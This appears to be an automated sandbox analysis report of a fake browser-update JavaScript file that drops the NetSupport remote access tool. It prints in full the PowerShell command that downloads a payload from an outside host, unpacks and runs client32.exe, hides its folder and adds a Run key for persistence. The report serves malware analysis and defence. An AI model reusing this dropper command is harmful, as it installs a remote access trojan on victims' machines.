Analysis
- max time kernel
145s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
- submitted
22/01/2024, 16:21
General
- Target Update_browser_17.6436.js
- Size 434KB
- Sample240122-ttw3yaadfl
- SHA256 878cd20bb0e4997b3da982dc01a4bdeb125c53ab93662afbc8ccfeac7b48d9cb
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://phinetik.com/data.php?9206
-
exe.dropper
https://phinetik.com/data.php?9206
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $WsLnFKZCfplsGkNmIKAY='https://phinetik.com/data.php?9206';$wGpwdZjYxLsoYBLCZRUQiebKbdgN=(New-Object System.Net.WebClient).DownloadString($WsLnFKZCfplsGkNmIKAY);$pfgLkYgrTvRmkKG=[System.Convert]::FromBase64String($wGpwdZjYxLsoYBLCZRUQiebKbdgN);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $iIDqKawCfmcV=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $iIDqKawCfmcV -PathType Container)) { New-Item -Path $iIDqKawCfmcV -ItemType Directory };$p=Join-Path $iIDqKawCfmcV 'lol.zip';[System.IO.File]::WriteAllBytes($p,$pfgLkYgrTvRmkKG);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$iIDqKawCfmcV)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $iIDqKawCfmcV 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $iIDqKawCfmcV -Force; $FSDFSSD.attributes='Hidden';$s=$iIDqKawCfmcV+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX610\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX610\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_n5ce15nl.rkb.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
pcichek.dll
memory/4972-15-0x000002D5A1070000-0x000002D5A1082000-memory.dmp
memory/4972-14-0x000002D59EDB0000-0x000002D59EDBA000-memory.dmp
memory/4972-12-0x000002D59EDD0000-0x000002D59EDE0000-memory.dmp
memory/4972-11-0x000002D59EDD0000-0x000002D59EDE0000-memory.dmp
memory/4972-10-0x00007FF82CCE0000-0x00007FF82D7A1000-memory.dmp
memory/4972-9-0x000002D59ED50000-0x000002D59ED72000-memory.dmp
memory/4972-92-0x00007FF82CCE0000-0x00007FF82D7A1000-memory.dmp